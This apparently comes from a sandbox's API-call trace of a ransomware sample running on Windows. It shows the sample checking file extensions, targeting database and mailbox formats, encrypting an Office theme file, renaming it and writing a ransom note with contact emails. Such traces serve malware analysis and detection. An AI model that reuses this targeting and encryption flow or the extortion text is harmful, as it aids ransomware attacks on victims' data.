	[0086.385] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0086.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0086.486] lstrlenW (lpString=".sqb") returned 4
	[0086.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".sqb") returned 0x0
	[0086.495] lstrlenW (lpString=".ost") returned 4
	[0086.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".ost") returned 0x0
	[0086.495] lstrlenW (lpString=".txt") returned 4
	[0086.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".txt") returned 0x0
	[0086.495] lstrlenW (lpString=".mdt") returned 4
	[0086.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".mdt") returned 0x0
	[0086.495] lstrlenW (lpString=".BDB") returned 4
	[0086.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".BDB") returned 0x0
	[0086.496] lstrlenW (lpString=".eql") returned 4
	[0086.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".eql") returned 0x0
	[0086.496] lstrlenW (lpString=".DBF") returned 4
	[0086.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".DBF") returned 0x0
	[0086.496] lstrlenW (lpString=".EQL") returned 4
	[0086.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".EQL") returned 0x0
	[0086.496] lstrlenW (lpString=".FDB") returned 4
	[0086.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".FDB") returned 0x0
	[0086.496] lstrlenW (lpString=".EDB") returned 4
	[0086.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".EDB") returned 0x0
	[0086.496] lstrlenW (lpString=".DACPAC") returned 7
	[0086.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".DACPAC") returned 0x0
	[0086.496] lstrlenW (lpString=".VHD") returned 4
	[0086.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".VHD") returned 0x0
	[0086.496] lstrlenW (lpString=".DBV") returned 4
	[0086.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".DBV") returned 0x0
	[0086.496] lstrlenW (lpString=".dacpac") returned 7
	[0086.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".dacpac") returned 0x0
	[0086.496] lstrlenW (lpString=".sdf") returned 4
	[0086.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".sdf") returned 0x0
	[0086.496] lstrlenW (lpString=".accdb") returned 6
	[0086.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".accdb") returned 0x0
	[0086.496] lstrlenW (lpString=".DBX") returned 4
	[0086.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".DBX") returned 0x0
	[0086.496] lstrlenW (lpString=".MDT") returned 4
	[0086.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".MDT") returned 0x0
	[0086.496] lstrlenW (lpString=".SQB") returned 4
	[0086.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".SQB") returned 0x0
	[0086.497] lstrlenW (lpString=".vhd") returned 4
	[0086.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".vhd") returned 0x0
	[0086.497] lstrlenW (lpString=".bac") returned 4
	[0086.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".bac") returned 0x0
	[0086.497] lstrlenW (lpString=".mdf") returned 4
	[0086.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".mdf") returned 0x0
	[0086.497] lstrlenW (lpString=".BAK") returned 4
	[0086.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".BAK") returned 0x0
	[0086.497] lstrlenW (lpString=".BAC") returned 4
	[0086.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".BAC") returned 0x0
	[0086.497] lstrlenW (lpString=".dbs") returned 4
	[0086.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".dbs") returned 0x0
	[0086.497] lstrlenW (lpString=".vhdx") returned 5
	[0086.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".vhdx") returned 0x0
	[0086.497] lstrlenW (lpString=".NDF") returned 4
	[0086.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".NDF") returned 0x0
	[0086.497] lstrlenW (lpString=".dat") returned 4
	[0086.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".dat") returned 0x0
	[0086.497] lstrlenW (lpString=".DBS") returned 4
	[0086.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".DBS") returned 0x0
	[0086.497] lstrlenW (lpString=".CKP") returned 4
	[0086.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".CKP") returned 0x0
	[0086.497] lstrlenW (lpString=".edb") returned 4
	[0086.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".edb") returned 0x0
	[0086.497] lstrlenW (lpString=".PST") returned 4
	[0086.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".PST") returned 0x0
	[0086.498] lstrlenW (lpString=".dbf") returned 4
	[0086.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".dbf") returned 0x0
	[0086.498] lstrlenW (lpString=".SQL") returned 4
	[0086.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".SQL") returned 0x0
	[0086.498] lstrlenW (lpString=".pst") returned 4
	[0086.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".pst") returned 0x0
	[0086.498] lstrlenW (lpString=".dbv") returned 4
	[0086.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".dbv") returned 0x0
	[0086.498] lstrlenW (lpString=".SDF") returned 4
	[0086.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".SDF") returned 0x0
	[0086.498] lstrlenW (lpString=".dtxs") returned 5
	[0086.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".dtxs") returned 0x0
	[0086.498] lstrlenW (lpString=".db3") returned 4
	[0086.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".db3") returned 0x0
	[0086.498] lstrlenW (lpString=".OST") returned 4
	[0086.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".OST") returned 0x0
	[0086.498] lstrlenW (lpString=".dbx") returned 4
	[0086.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".dbx") returned 0x0
	[0086.498] lstrlenW (lpString=".DB3") returned 4
	[0086.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".DB3") returned 0x0
	[0086.498] lstrlenW (lpString=".DAT") returned 4
	[0086.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".DAT") returned 0x0
	[0086.498] lstrlenW (lpString=".VHDX") returned 5
	[0086.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".VHDX") returned 0x0
	[0086.498] lstrlenW (lpString=".ndf") returned 4
	[0086.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".ndf") returned 0x0
	[0086.498] lstrlenW (lpString=".DB") returned 3
	[0086.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".DB") returned 0x0
	[0086.499] lstrlenW (lpString=".sql") returned 4
	[0086.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".sql") returned 0x0
	[0086.499] lstrlenW (lpString=".MYD") returned 4
	[0086.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".MYD") returned 0x0
	[0086.499] lstrlenW (lpString=".DBT") returned 4
	[0086.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".DBT") returned 0x0
	[0086.499] lstrlenW (lpString=".ACCDB") returned 6
	[0086.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".ACCDB") returned 0x0
	[0086.499] lstrlenW (lpString=".fdb") returned 4
	[0086.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".fdb") returned 0x0
	[0086.499] lstrlenW (lpString=".bak") returned 4
	[0086.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".bak") returned 0x0
	[0086.499] lstrlenW (lpString=".myd") returned 4
	[0086.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".myd") returned 0x0
	[0086.499] lstrlenW (lpString=".DTXS") returned 5
	[0086.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".DTXS") returned 0x0
	[0086.499] lstrlenW (lpString=".ckp") returned 4
	[0086.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".ckp") returned 0x0
	[0086.499] lstrlenW (lpString=".dbt") returned 4
	[0086.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".dbt") returned 0x0
	[0086.499] lstrlenW (lpString=".db") returned 3
	[0086.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".db") returned 0x0
	[0086.499] lstrlenW (lpString=".TXT") returned 4
	[0086.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".TXT") returned 0x0
	[0086.499] lstrlenW (lpString=".MDF") returned 4
	[0086.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".MDF") returned 0x0
	[0086.499] lstrlenW (lpString=".bdb") returned 4
	[0086.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".bdb") returned 0x0
	[0086.500] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.500] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0086.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.500] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0086.501] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.501] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0086.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x286e200
	[0086.501] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20649113840) returned 1
	[0086.501] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9d5d5e70, dwHighDateTime=0x1d60e1e)) 
	[0086.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0086.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0086.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0086.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9548
	[0086.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9548 | out: hHeap=0x300000) returned 1
	[0086.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb4c8
	[0086.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb4c8 | out: hHeap=0x300000) returned 1
	[0086.502] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0086.502] GetLastError () returned 0x0
	[0086.502] GetLastError () returned 0x0
	[0086.502] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0086.502] GetLastError () returned 0x0
	[0086.502] GetLastError () returned 0x0
	[0086.505] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff4013, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.505] WriteFile (in: hFile=0x124, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0xbfed, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x26dfec0*=0xbfed, lpOverlapped=0x0) returned 1
	[0086.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.506] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.506] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.506] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.506] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.506] CloseHandle (hObject=0x124) returned 1
	[0086.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b8cc0
	[0086.507] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm.~~~~")) returned 1
	[0086.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8cc0 | out: hHeap=0x300000) returned 1
	[0086.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0086.508] GetLastError () returned 0x0
	[0086.508] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0086.508] WriteFile (in: hFile=0x124, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0086.510] CloseHandle (hObject=0x124) returned 1
	[0086.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8e30 | out: hHeap=0x300000) returned 1
	[0086.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8cc0 | out: hHeap=0x300000) returned 1
	[0086.510] RtlWakeConditionVariable () returned 0x365f70
	[0086.510] GetCurrentThreadId () returned 0x9cc
	[0086.510] GetCurrentThreadId () returned 0x9cc
	[0086.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0086.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b16b0 | out: hHeap=0x300000) returned 1
	[0086.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f94d8 | out: hHeap=0x300000) returned 1
	[0086.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b16b0
	[0086.511] lstrlenW (lpString=".scr") returned 4
	[0086.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".scr") returned 0x0
	[0086.511] lstrlenW (lpString=".cmd") returned 4
	[0086.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".cmd") returned 0x0
	[0086.511] lstrlenW (lpString=".dll") returned 4
	[0086.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".dll") returned 0x0
	[0086.511] lstrlenW (lpString=".bat") returned 4
	[0086.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".bat") returned 0x0
	[0086.511] lstrlenW (lpString=".cpl") returned 4
	[0086.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".cpl") returned 0x0
	[0086.511] lstrlenW (lpString=".sys") returned 4
	[0086.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".sys") returned 0x0
	[0086.511] lstrlenW (lpString=".msc") returned 4
	[0086.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".msc") returned 0x0
	[0086.511] lstrlenW (lpString=".com") returned 4
	[0086.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".com") returned 0x0
	[0086.511] lstrlenW (lpString=".lnk") returned 4
	[0086.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".lnk") returned 0x0
	[0086.511] lstrlenW (lpString=".msp") returned 4
	[0086.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".msp") returned 0x0
	[0086.511] lstrlenW (lpString=".pif") returned 4
	[0086.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".pif") returned 0x0
	[0086.512] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0086.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0086.512] lstrlenW (lpString=".sqb") returned 4
	[0086.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".sqb") returned 0x0
	[0086.512] lstrlenW (lpString=".ost") returned 4
	[0086.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".ost") returned 0x0
	[0086.513] lstrlenW (lpString=".txt") returned 4
	[0086.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".txt") returned 0x0
	[0086.513] lstrlenW (lpString=".mdt") returned 4
	[0086.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".mdt") returned 0x0
	[0086.513] lstrlenW (lpString=".BDB") returned 4
	[0086.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".BDB") returned 0x0
	[0086.513] lstrlenW (lpString=".eql") returned 4
	[0086.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".eql") returned 0x0
	[0086.513] lstrlenW (lpString=".DBF") returned 4
	[0086.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".DBF") returned 0x0
	[0086.513] lstrlenW (lpString=".EQL") returned 4
	[0086.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".EQL") returned 0x0
	[0086.513] lstrlenW (lpString=".FDB") returned 4
	[0086.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".FDB") returned 0x0
	[0086.513] lstrlenW (lpString=".EDB") returned 4
	[0086.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".EDB") returned 0x0
	[0086.513] lstrlenW (lpString=".DACPAC") returned 7
	[0086.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".DACPAC") returned 0x0
	[0086.513] lstrlenW (lpString=".VHD") returned 4
	[0086.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".VHD") returned 0x0
	[0086.513] lstrlenW (lpString=".DBV") returned 4
	[0086.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".DBV") returned 0x0
	[0086.513] lstrlenW (lpString=".dacpac") returned 7
